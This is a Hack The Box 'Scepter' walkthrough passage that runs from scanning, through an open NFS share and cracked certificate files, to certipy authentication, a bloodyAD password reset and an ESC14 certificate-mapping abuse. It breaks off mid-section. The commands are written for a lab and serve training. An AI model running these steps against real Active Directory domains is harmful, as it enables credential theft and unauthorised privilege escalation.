> For the complete documentation index, see [llms.txt](https://hackhunter-hacking.gitbook.io/hackhunter-hacking/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackhunter-hacking.gitbook.io/hackhunter-hacking/hack-the-box/scepter-active-directory.md).

# Scepter - Active Directory

Hard Rated Lab - Hack The Box

## Initial Scan

### RustScan

{% code overflow="wrap" expandable="true" %}

```
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-05-23 23:36:14Z)
111/tcp   open  rpcbind       syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-23T23:37:22+00:00; +7h58m43s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-07T20:25:34
| Not valid after:  2026-11-07T20:25:34
| MD5:     1582 0ca9 794a 4caf 2309 50ae 8ac5 cbd4
| SHA-1:   fd03 810d 8150 f2ee 73f6 35b2 5042 d348 541e c5ef
| SHA-256: 0588 c9de af6b f807 b16a de6c 0f09 08d9 0d78 45bf 1542 15cd 29ef c1a0 af0a 60d2
| -----BEGIN CERTIFICATE-----
| MIIFyDCCBLCgAwIBAgITYgAAAAoWUbEdz8QwxAABAAAACjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHc2NlcHRl
| cjEYMBYGA1UEAxMPc2NlcHRlci1EQzAxLUNBMB4XDTI1MTEwNzIwMjUzNFoXDTI2
| MTEwNzIwMjUzNFowADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPbg
| z24KEMEITsmdVQO9GheEtbO03OKPIAz131aqh5uhTSoQ7nRF61uTshKwb8z9OvRD
| ExDi0ucsfI1sx2XfgBqWTM1hj94I8UF2zeGtQVJxh0PsF58PfUp5FJi1vFBD0Esm
| 5GVDqmOuN8Gu4bIqgU82uPxWbazL7rvKRymsDFYVP8p2R0QL0cJkzfVKKCN15LYi
| APhzsfdwjeGbPs/kjVih9WIybA9V10CQIhrfsyoEotXnrG46HvJd8rcbvjHNjgAC
| AV8/k0AELQ5lj/MW2tksh+VQeobPGAoVpMwabpV6osgng42+Q7MhxR5H9mQMcZRR
| 5hcqxZvjf2dp9I2dBhECAwEAAaOCAvEwggLtMDgGCSsGAQQBgjcVBwQrMCkGISsG
| AQQBgjcVCILhx22D9pwIhsmFFIOHx0SG0JR4gSoBHAIBbgIBADApBgNVHSUEIjAg
| BggrBgEFBQcDAgYIKwYBBQUHAwEGCisGAQQBg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muKPSXefpfFnvxiPq9ymI
| VTZCZfVSEMwzs3/GaW3QWp7RNivJnS6K8TQmth/qMA2Nn9X8P8if4gFKTSaPc2VI
| X7e3ATtMsKAP4OLqfOfZM6/YJ4STmjpf/5MY2PjGzya0GUPfe3/rQZslVk2/GswZ
| fJ8fnMgtNSatjuq76hA3b8ZYOdLbUktDHnmQiuBPG35LyGRhRnPliSKboyw=
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-07T20:25:34
| Not valid after:  2026-11-07T20:25:34
| MD5:     1582 0ca9 794a 4caf 2309 50ae 8ac5 cbd4
| SHA-1:   fd03 810d 8150 f2ee 73f6 35b2 5042 d348 541e c5ef
| SHA-256: 0588 c9de af6b f807 b16a de6c 0f09 08d9 0d78 45bf 1542 15cd 29ef c1a0 af0a 60d2
| -----BEGIN CERTIFICATE-----
| MIIFyDCCBLCgAwIBAgITYgAAAAoWUbEdz8QwxAABAAAACjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHc2NlcHRl
| cjEYMBYGA1UEAxMPc2NlcHRlci1EQzAxLUNBMB4XDTI1MTEwNzIwMjUzNFoXDTI2
| MTEwNzIwMjUzNFowADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPbg
| z24KEMEITsmdVQO9GheEtbO03OKPIAz131aqh5uhTSoQ7nRF61uTshKwb8z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049Q29uZmlndXJhdGlvbixEQz1zY2VwdGVyLERDPWh0Yj9jQUNlcnRpZmlj
| YXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAeBgNV
| HREBAf8EFDASghBkYzAxLnNjZXB0ZXIuaHRiMEsGCSsGAQQBgjcZAgQ+MDygOgYK
| KwYBBAGCNxkCAaAsBCpTLTEtNS0yMS03NDg3OTU0Ni05MTY4MTg0MzQtNzQwMjk1
| MzY1LTEwMDAwDQYJKoZIhvcNAQELBQADggEBAAGoSdQIWy5gAz16h+6nBlqk4dOz
| 9DQkF905FXLtkIiBJ2LDuWstULZlwHXMtHySXXxNXaKfoMt9z5gpvs6cusA7mG54
| iGx1KgqezrJxQLZIFOIJshkNDDH6p9bkrZgOJuDvTSrmuKPSXefpfFnvxiPq9ymI
| VTZCZfVSEMwzs3/GaW3QWp7RNivJnS6K8TQmth/qMA2Nn9X8P8if4gFKTSaPc2VI
| X7e3ATtMsKAP4OLqfOfZM6/YJ4STmjpf/5MY2PjGzya0GUPfe3/rQZslVk2/GswZ
| fJ8fnMgtNSatjuq76hA3b8ZYOdLbUktDHnmQiuBPG35LyGRhRnPliSKboyw=
|_-----END CERTIFICATE-----
|_ssl-date: 2026-05-23T23:37:22+00:00; +7h58m44s from scanner time.
2049/tcp  open  nlockmgr      syn-ack ttl 127 1-4 (RPC #100021)
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-23T23:37:22+00:00; +7h58m43s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-07T20:25:34
| Not valid after:  2026-11-07T20:25:34
| MD5:     1582 0ca9 794a 4caf 2309 50ae 8ac5 cbd4
| SHA-1:   fd03 810d 8150 f2ee 73f6 35b2 5042 d348 541e c5ef
| SHA-256: 0588 c9de af6b f807 b16a de6c 0f09 08d9 0d78 45bf 1542 15cd 29ef c1a0 af0a 60d2
| -----BEGIN CERTIFICATE-----
| MIIFyDCCBLCgAwIBAgITYgAAAAoWUbEdz8QwxAABAAAACjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHc2NlcHRl
| cjEYMBYGA1UEAxMPc2NlcHRlci1EQzAxLUNBMB4XDTI1MTEwNzIwMjUzNFoXDTI2
| MTEwNzIwMjUzNFowADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPbg
| z24KEMEITsmdVQO9GheEtbO03OKPIAz131aqh5uhTSoQ7nRF61uTshKwb8z9OvRD
| ExDi0ucsfI1sx2XfgBqWTM1hj94I8UF2zeGtQVJxh0PsF58PfUp5FJi1vFBD0Esm
| 5GVDqmOuN8Gu4bIqgU82uPxWbazL7rvKRymsDFYVP8p2R0QL0cJkzfVKKCN15LYi
| APhzsfdwjeGbPs/kjVih9WIybA9V10CQIhrfsyoEotXnrG46HvJd8rcbvjHNjgAC
| AV8/k0AELQ5lj/MW2tksh+VQeobPGAoVpMwabpV6osgng42+Q7MhxR5H9mQMcZRR
| 5hcqxZvjf2dp9I2dBhECAwEAAaOCAvEwggLtMDgGCSsGAQQBgjcVBwQrMCkGISsG
| AQQBgjcVCILhx22D9pwIhsmFFIOHx0SG0JR4gSoBHAIBbgIBADApBgNVHSUEIjAg
| BggrBgEFBQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIwDgYDVR0PAQH/BAQDAgWg
| MDUGCSsGAQQBgjcVCgQoMCYwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwDAYKKwYB
| BAGCNxQCAjAdBgNVHQ4EFgQUpoE3w6iTJj5wKaJuhqQEkQh1GlMwHwYDVR0jBBgw
| FoAUjAQmINw0R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OdLbUktDHnmQiuBPG35LyGRhRnPliSKboyw=
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=scepter-DC01-CA/domainComponent=scepter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-07T20:25:34
| Not valid after:  2026-11-07T20:25:34
| MD5:     1582 0ca9 794a 4caf 2309 50ae 8ac5 cbd4
| SHA-1:   fd03 810d 8150 f2ee 73f6 35b2 5042 d348 541e c5ef
| SHA-256: 0588 c9de af6b f807 b16a de6c 0f09 08d9 0d78 45bf 1542 15cd 29ef c1a0 af0a 60d2
| -----BEGIN CERTIFICATE-----
| MIIFyDCCBLCgAwIBAgITYgAAAAoWUbEdz8QwxAABAAAACjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHc2NlcHRl
| cjEYMBYGA1UEAxMPc2NlcHRlci1EQzAxLUNBMB4XDTI1MTEwNzIwMjUzNFoXDTI2
| MTEwNzIwMjUzNFowADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPbg
| z24KEMEITsmdVQO9GheEtbO03OKPIAz131aqh5uhTSoQ7nRF61uTshKwb8z9OvRD
| ExDi0ucsfI1sx2XfgBqWTM1hj94I8UF2zeGtQVJxh0PsF58PfUp5FJi1vFBD0Esm
| 5GVDqmOuN8Gu4bIqgU82uPxWbazL7rvKRymsDFYVP8p2R0QL0cJkzfVKKCN15LYi
| APhzsfdwjeGbPs/kjVih9WIybA9V10CQIhrfsyoEotXnrG46HvJd8rcbvjHNjgAC
| AV8/k0AELQ5lj/MW2tksh+VQeobPGAoVpMwabpV6osgng42+Q7MhxR5H9mQMcZRR
| 5hcqxZvjf2dp9I2dB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vcNAQELBQADggEBAAGoSdQIWy5gAz16h+6nBlqk4dOz
| 9DQkF905FXLtkIiBJ2LDuWstULZlwHXMtHySXXxNXaKfoMt9z5gpvs6cusA7mG54
| iGx1KgqezrJxQLZIFOIJshkNDDH6p9bkrZgOJuDvTSrmuKPSXefpfFnvxiPq9ymI
| VTZCZfVSEMwzs3/GaW3QWp7RNivJnS6K8TQmth/qMA2Nn9X8P8if4gFKTSaPc2VI
| X7e3ATtMsKAP4OLqfOfZM6/YJ4STmjpf/5MY2PjGzya0GUPfe3/rQZslVk2/GswZ
| fJ8fnMgtNSatjuq76hA3b8ZYOdLbUktDHnmQiuBPG35LyGRhRnPliSKboyw=
|_-----END CERTIFICATE-----
|_ssl-date: 2026-05-23T23:37:22+00:00; +7h58m44s from scanner time.
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/wsmans?   syn-ack ttl 127
|_ssl-date: 2026-05-23T23:37:22+00:00; +7h58m44s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Issuer: commonName=dc01.scepter.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-01T00:21:41
| Not valid after:  2025-11-01T00:41:41
| MD5:     e84c 6894 816e b7f5 4338 0a1f a896 2075
| SHA-1:   4e58 3799 020d aaf4 d5ce 0c1e 76db 32cd 5a0e 28a7
| SHA-256: 1eb9 f2f9 b905 28bf dc30 e0d1 1f29 933b 52fd f440 7c5a 4c2d 4847 7751 7b6e a180
| -----BEGIN CERTIFICATE-----
| MIIDLTCCAhWgAwIBAgIQYr4O5l5zSo9Nt/NWAsz/gDANBgkqhkiG9w0BAQsFADAb
| MRkwFwYDVQQDDBBkYzAxLnNjZXB0ZXIuaHR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syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49694/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49695/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49699/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49700/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49713/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49740/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49761/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows 10 1709 - 21H2 (97%), Microsoft Windows Server 2016 (96%), Microsoft Windows Server 2019 (96%), Microsoft Windows 10 (93%), Microsoft Windows 10 21H1 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2022 (93%), Microsoft Windows 10 1903 (92%), Windows Server 2019 (92%), Microsoft Windows Vista SP1 (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.98%E=4%D=5/23%OT=53%CT=%CU=30629%PV=Y%DS=2%DC=T%G=N%TM=6A11CA17%P=x86_64-pc-linux-gnu)
SEQ(SP=102%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)
SEQ(SP=105%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)
OPS(O1=M552NW8NNS%O2=M552NW8NNS%O3=M552NW8%O4=M552NW8NNS%O5=M552NW8NNS%O6=M552NNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%T=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)
T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)
T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-05-23T23:37:17
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 17046/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 43406/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 26590/udp): CLEAN (Timeout)
|   Check 4 (port 12145/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 7h58m43s, deviation: 0s, median: 7h58m43s
```

{% endcode %}

## Initial Enumeration

### SMB (445)

* Initial enumeration with the guest account and attempting to list out shares with an unauthenticated session is not working:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fjw1Sl1YQWfQanbUdPD7Z%2Fimage.png?alt=media&amp;token=2f083f90-b630-4ffa-9eab-31e3c715e0f2" alt=""><figcaption></figcaption></figure>

### NFS over RPC (111)

* I can see that there is an NFS over RPC port open (port 111). Per this article <https://hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html>, "NFS is a system designed for client/server that enables users to seamlessly access files over a network as though these files were located within a local directory."
* This is a Network File System (NFS) that uses RPC calls to route requests between clients and servers so that remote file operations appears as local calls. There is a way that we can connect via unauthenticated means to the NFS share. First, we can list out the NFS on the target host and see that everyone has access to the /helpdesk:

{% code overflow="wrap" expandable="true" %}

```
showmount -e <target_IP>
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FSJ7LesTDaIDl0Y94yNxs%2Fimage.png?alt=media&amp;token=4be93737-6d67-4938-b6ed-e681899488e5" alt=""><figcaption></figcaption></figure>

* We can then attempt to mount the NFS. Per the HackTricks article, we want to specify to use version 2 because it doesn’t have any authentication or authorization. NFS version 2 was not a flag option, it still will work. We can run the following command and list out the contents:

{% code overflow="wrap" expandable="true" %}

```
sudo mkdir /mnt/helpdesk #Creates the mount point

sudo mount -t nfs -o nolock 10.129.244.44:/helpdesk /mnt/helpdesk #mounts the NFS from the target to the specified mount point
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fyy8yLfX8NQ9hegtAxUjB%2Fimage.png?alt=media&amp;token=0c819932-4845-4040-95e8-953d96301295" alt=""><figcaption></figcaption></figure>

* We can see that there are certificate files that are very interesting. We can simply recursively copy these files to our working directory on our Kali host from the NFS by running this command:

{% code overflow="wrap" expandable="true" %}

```
sudo cp -r /mnt/helpdesk/ .
```

{% endcode %}

## Gaining a Foothold as User 'd.baker'

* We can start by attempting to crack these .pfx files. We can use 'pfx2john' to hash these three pfx files and then run that hash against a wordlist. We can see that running john against all three files comes back with the same password:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FWU0V3edHgeTh5TnSIVjS%2Fimage.png?alt=media&amp;token=ba880294-f2ee-41cd-9c62-fd51fac30d2a" alt=""><figcaption></figcaption></figure>

* We can then attempt to use certipy to export the certificate as a pfx file after supplying the cracked password. Unfortunately, we will see that our client is not trusted. This appears to be a dead-end as the other users produce the same results:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FPbRMeDccsvGGfSpcX5k3%2Fimage.png?alt=media&amp;token=e3ba56d0-7b09-45bf-8795-d822bacb2a4f" alt=""><figcaption></figcaption></figure>

### Pivot Time

* We know that we have pfx files and crt and key file for 'baker.' I am going to focus on this and see if this is of any use as having both the certificate and private key might lead us to something. Per this article <https://cicada-8.medium.com/adcs-so-u-got-certificate-now-ive-got-nine-ways-to-abuse-it-861081cff082>, we can list out the contents of the certificate using 'openssl'. I can see that this user is 'd.baker':

{% code overflow="wrap" expandable="true" %}

```
openssl x509 -in baker.crt -text
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FVsrytE0nDHlU20lGxU1y%2Fimage.png?alt=media&amp;token=0375866b-acf6-4e45-85e6-f8d36fbcff9d" alt=""><figcaption></figcaption></figure>

* Ok, we have the certificate and the private key for baker. Using the same article, we can attempt to convert the .key and .crt to a .pfx, which we could then use certipy to auth to the DC and gain access to the users TGT. I will try this route. I will run the following command to create a PKCS#12 file, which is a an archive file format for storing many cryptography objects as a single file <https://en.wikipedia.org/wiki/PKCS_12>.
* Essentially, this is going to be a container file that will hold the private key file and X509 certificate that we can use to authenticate. First, we need to create a .pem file <https://www.ssldragon.com/blog/convert-crt-pem/>:

{% code overflow="wrap" expandable="true" %}

```
openssl x509 -in baker.crt -outform PEM -out baker.pem
```

{% endcode %}

* Next, we can use these files to create our PKCS#12 file. Upon running the command, it prompted me for a password. I went ahead and used the password that we previously cracked and it allowed for the creation of the cert.pfx file:

{% code overflow="wrap" expandable="true" %}

```
openssl pkcs12 -in cert.pem -inkey key-pem.key -export -out cert.pfx
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FARnLDGpvMveGV1CFJYM5%2Fimage.png?alt=media&amp;token=188a7ee4-8c68-421d-889c-ae0116818043" alt=""><figcaption></figcaption></figure>

* Next, I will go ahead and test this out. I will first run the command to sync our Kali machine with the DC and then attempt to auth with the cert.pfx. We can see that we can gain entry to the users NTLM hash and the TGT is stored in the ccache file:

{% code overflow="wrap" expandable="true" %}

```
sudo ntpdate <IP> && certipy-ad auth -pfx cert.pfx -dc-ip <IP>
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FZnN6QYviGphIdEDeOnF9%2Fimage.png?alt=media&amp;token=9272b848-5319-4c62-b416-7905552a1561" alt=""><figcaption></figcaption></figure>

* Verifying successful authentication:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FbgvxBp0upjNRqxPWDZqZ%2Fimage.png?alt=media&amp;token=531c828d-6e6c-41a3-8aac-c2ba3f68ebfa" alt=""><figcaption></figcaption></figure>

## Bloodhound Enumeration

* Awesome, we are able to gain entry with an AD user. We can now start to enumerate and begin to query ldap. I will run Bloodhound as a means of speeding up the enumeration process. We can see that our user has ForceChangePassword rights over user 'A.Carter':

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FyNksaZP3TtyBKn75Obqo%2Fimage.png?alt=media&amp;token=b8abdde0-c2c7-4fdd-a8b7-a9724108ae7d" alt=""><figcaption></figcaption></figure>

* User 'A.Carter' is a member of the IT Support group and this group has GenericAll rights over the Staff Access Certificate OU. With these GenericAll rights on this OU, we can add a new ACE on the OU that will inherit down to the objects under that OU:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F7uMlgYa9mLmNasr6LGUC%2Fimage.png?alt=media&amp;token=abe80310-409b-4ce3-98b3-606ee4f3c93e" alt=""><figcaption></figcaption></figure>

* We will change the password for user 'A.Carter' using bloodyAD:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fsa0m7eBV12Q7a3M4yQWX%2Fimage.png?alt=media&amp;token=d38ed2f4-a927-4080-80be-97f509ff8d38" alt=""><figcaption></figcaption></figure>

* Additionally, we can see that the Staff Access Certificate OU contains user d.baker, which we can see from the ldapsearch we conducted:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FUeQWIKJkusttzmT4L5Ig%2Fimage.png?alt=media&amp;token=5e1c4ee4-584b-4dbf-80a7-b6619f9e39a0" alt=""><figcaption></figcaption></figure>

* At this point, we now control the A.Carter user who has GenericAll rights over the OU that contains d.baker. This means that we can fully control this OU and anything we do will apply to d.baker as well.

## Certificate Enumeration with Certipy-AD

* After enumerating AD CS for any vulnerable templates, I then decided to pull the all certificate template names in the domain. The following template shows that member of the group 'staff' have enrollment rights. Checking LDAP, we can see that d.baker is a member of this group. What is also interesting, that I have not previously seen, is the Flags containing altrequireemail. I will conduct research on this:

{% code overflow="wrap" expandable="true" %}

```
  1
    Template Name                       : StaffAccessCertificate
    Display Name                        : StaffAccessCertificate
    Certificate Authorities             : scepter-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireEmail
                                          SubjectRequireDnsAsCn
                                          SubjectRequireEmail
    Enrollment Flag                     : AutoEnrollment
                                          NoSecurityExtension
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-01T02:29:00+00:00
    Template Last Modified              : 2024-11-01T09:00:54+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SCEPTER.HTB\staff
      Object Control Permissions
        Owner                           : SCEPTER.HTB\Enterprise Admins
        Full Control Principals         : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Owner Principals          : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Dacl Principals           : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fb2NtOMWkN4IzFjOzpkti%2Fimage.png?alt=media&amp;token=dce3aeea-7531-46ce-96b1-3e1550827742" alt=""><figcaption></figcaption></figure>

## ESC14 Vulnerability

* After doing some reading in this article <https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.html?highlight=ESC14#vulnerable-certificate-renewal-configuration--esc14> and this one <https://specterops.io/blog/2024/02/28/adcs-esc14-abuse-technique/#4a82>, we can determine that there is an ESC14 vulnerability present. Per the aforementioned article, "The altSecurityIdentities attribute of Active Directory (AD) computers and users allows you to specify *explicit certificate mappings*. An explicit certificate mapping is a reference to a certificate. Anyone with a certificate matching the reference in an explicit certificate mapping of a principal can use this certificate to authenticate as the principal. An attacker can therefore abuse write access to the altSecurityIdentities attribute of an AD computer or user to add an explicit certificate mapping referring to a certificate in the attacker’s possession, and then use this certificate to authenticate as the said computer or user."
* We can query LDAP to find any users with 'altSecurityIdentities' set. We will see that user 'h.brown' has a weak certificate mapping of 'X509:\<RFC822><h.brown@scepter.htb>' `X509:<RFC822>EmailAddress` (maps by an RFC822 name, typically an email address, from the SAN):

